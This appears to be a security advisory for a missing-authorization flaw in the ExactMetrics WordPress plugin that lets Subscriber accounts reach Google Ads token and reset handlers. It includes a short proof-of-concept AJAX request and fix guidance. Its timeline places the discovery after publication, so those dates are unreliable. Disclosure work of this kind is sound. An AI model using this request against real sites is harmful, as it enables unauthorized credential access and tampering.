CVE-2026-5488 affects ExactMetrics and exposes Google Ads integration actions to authenticated Subscriber+ users. The get_ads_access_token() and reset_experience() AJAX handlers verify a nonce that is localized on profile.php but omit the exactmetrics_save_settings capability check. This can expose a live Google Ads access token or reset connected integration state.

CVECVE-2026-5488
Plugin VersionExactMetrics <= 9.1.2, fixed in 9.1.3
All Time52 043 802
Active installations300 000+
Publicly PublishedApril 23, 2026
Last UpdatedApril 24, 2026
ResearcherDmitrii Ignatyev
PoCYes
ExploitNo
Referencehttps://www.cve.org/CVERecord?id=CVE-2026-5488
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/google-analytics-dashboard-for-wp/exactmetrics-912-authenticated-subscriber-missing-authorization-to-google-ads-access-token-retrieval-via-ajax-action-exactmetrics-ads-get-token
Plugin Security Certification by CleanTalk
Logo of the pluginExactMetrics plugin logo

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

PSC by Cleantalk

Timeline

June 27, 2026Plugin testing and vulnerability detection in ExactMetrics were completed.
June 29, 2026The vulnerability was reported with PoC, description, and recommendations for remediation.
April 23, 2026CVE-2026-5488 was publicly published by Wordfence.

Discovery of the Vulnerability

The ExactMetrics Google Ads integration registers AJAX handlers for access token retrieval and experience reset. Both handlers accept the mi-admin-nonce, which is localized on admin pages that Subscribers can open, including profile.php. Unlike nearby settings actions, they do not require the exactmetrics_save_settings capability.

A low-privileged account can therefore reach integration code that should be restricted to administrators. The highest impact is disclosure of a valid third-party access token during its validity window, with access determined by the scopes granted by Google Ads.

Understanding of Missing Authorization attacks

AJAX nonces protect WordPress requests from cross site request forgery, but they are not capability checks. If the same nonce is exposed to every logged-in role, a Subscriber can submit the same request as an administrator. Sensitive integration handlers must independently verify the exact capability required to view credentials or change connection state.

Exploiting the Missing Authorization Vulnerability

The supplied request demonstrates that a Subscriber can invoke the related Google Ads experience reset handler with a nonce obtained from profile.php. Testing should be limited to an isolated integration because the action changes connected plugin state.

POC:

POC:
1. Log in with a Subscriber account.
2. Open wp-admin/profile.php.
3. Read the ExactMetrics admin setup nonce from exactmetrics-admin-setup-wizard-js-extra.
4. Send the request below in an isolated test site.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.test
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: [Subscriber session]

action=exactmetrics_ads_reset_experience&nonce=NONCE_FROM_PROFILE

____

On a vulnerable version, the request is accepted without the exactmetrics_save_settings capability that protects comparable ExactMetrics settings operations.

Recommendations for Improved Security

Site owners should update ExactMetrics to version 9.1.3 or later and review the connected Google Ads account if an untrusted WordPress user had access during the vulnerable period. Developers should require exactmetrics_save_settings in both handlers, return an authorization error before integration code runs, and avoid localizing sensitive action nonces on pages available to roles that cannot manage the integration.

By addressing Missing Authorization issues like CVE-2026-5488, WordPress site owners can protect connected advertising credentials and integration settings from low-privileged account abuse. Stay vigilant, stay secure.

#WordPressSecurity #MissingAuthorization #AccessTokenSecurity #WebsiteSafety #StayProtected #MediumVulnerability

Use CleanTalk solutions to improve the security of your website

CVE-2026-5488 – ExactMetrics – Missing Authorization – POC

Dmitrii I

Pentester with 5 years of hands-on experience securing WordPress and web applications, holding OSWE, OSEP, OSCP, and OSWP certifications. Author of 450 published CVEs, including 35 disclosed within the last month. Specializes in discovering and validating high-impact vulnerabilities in WordPress plugins/themes / Custom WEB applications and delivering actionable remediation guidance to harden production sites.

Visit Author's Website

See all posts by dmitrii-ignatyev